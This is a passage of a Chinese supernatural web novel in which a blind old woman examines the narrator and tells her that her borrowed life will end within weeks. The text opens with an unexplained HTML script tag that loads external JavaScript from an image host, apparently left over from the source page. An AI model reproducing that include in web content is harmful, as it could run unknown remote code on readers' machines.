<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
这个老太婆虽然眼睛看不见,但是心不瞎,我心里想法被她揣测的一清二楚。
本来我以为她跟清虚道长有点交情,但没想到只不过是当初救了清虚道长一次。
但这应该就是清虚道长为什么要说第二道原因吧。
“过来。”
见我没说话,老太婆盘坐在床上,冷冰冰说了句。
我走到跟前,轻声的唤了一声,“婆婆?”
“不该问的别问。”
老太婆冷冷地说了句,从旁边床头桌上把一盏煤油灯提起来,凑到我面前映照了两下。
从左到右看了个遍,她那张皱巴巴的老脸也贴上来,不知道是不是因为看不见,而常年没有洗澡和簌口的缘故。
老太婆凑过来的时候,从那半张的嘴巴以及已经发黑有了包浆的衣服上发出一股难以形容的恶臭味儿。
这味道熏的我脑仁都疼了,我几乎是强忍着偏头要吐的感觉。
老太婆眼眶里眼珠子都没有,我不知道她拿煤油灯照着我是几个意思。
心里疑惑间,这老太婆嘴里嘿嘿的笑了两声,嘴里低估道,“活人气息不稳,大限将至,小丫头,你快要死了。”
这要是大街上突然有人说这话,我可能会骂神经病。
但是我看到过三清法镜里的自己,这老太婆随便拿个油灯一照,而且还是在看不见的情况下就知道我的情况。
这老太婆果然是有本事的。
“把手伸出来。”
老太婆声音突然平静。
我犹豫了下,还是把手伸了过去,老太婆把抓住我的时候,我浑身触电般颤抖了下,她的手非常的细腻!
一接触到感觉就像是婴儿的皮肤一样嫩滑,跟她枯槁的形象形成了反差。
她摸到了我的手, 整个人好像颤动了一下,过了一会儿,她让我把另一只手给她,我给了她左手, 她顺着左手上去就摸到了我的头顶
那只手在我的头顶停留了至少一分钟。
我眼神炯炯的看着老太婆,她往前挪动了一下身子,有些难以置信的摇了摇头。
“婆婆,我怎么了?”我小声问,看她的样子好像我有什么问题似的。
她放下我的手,又说再来一次, 她好像没有把握。
我满是狐疑的把手伸出来,老太婆像是把脉一样抓住我的手腕,这次她足足把了两分钟,嘴里小声的低估了句我听不清楚的话。
“有意思,居然这种命格都扭转了,当真是好大的能耐,改你命格的那位主,就是不知究竟是何方神圣。”
老太婆那枯瘦如柴的手缩回去,尽管两只眼眶空洞无物,但此刻她抬头咧着嘴,给我的感觉就是两只深不见底的眸子透过那空洞的两个眼眶看着我。
我居然升起一种不敢与她对视的错觉。
“婆婆,您看出什么来了吗?”老太婆这样说,显然是看出来一些东西,但我并不确定,她是不是真的了解我来这里的目的。
“你的命不仅是借的,你身上还有狐狸的气味儿,不单单这样……你还配了阴婚,你这个小丫头,倒是有点意思。”
老太婆咯咯的笑起来,只不过在烛光映射下,她站起来的皱纹就跟扭动的蚯蚓,显得格外阴森。
老太婆笑了一会儿,开口说道:“借来的命终归是有限的,你的这条命,已经到头了,多则一月,少则两三个星期。”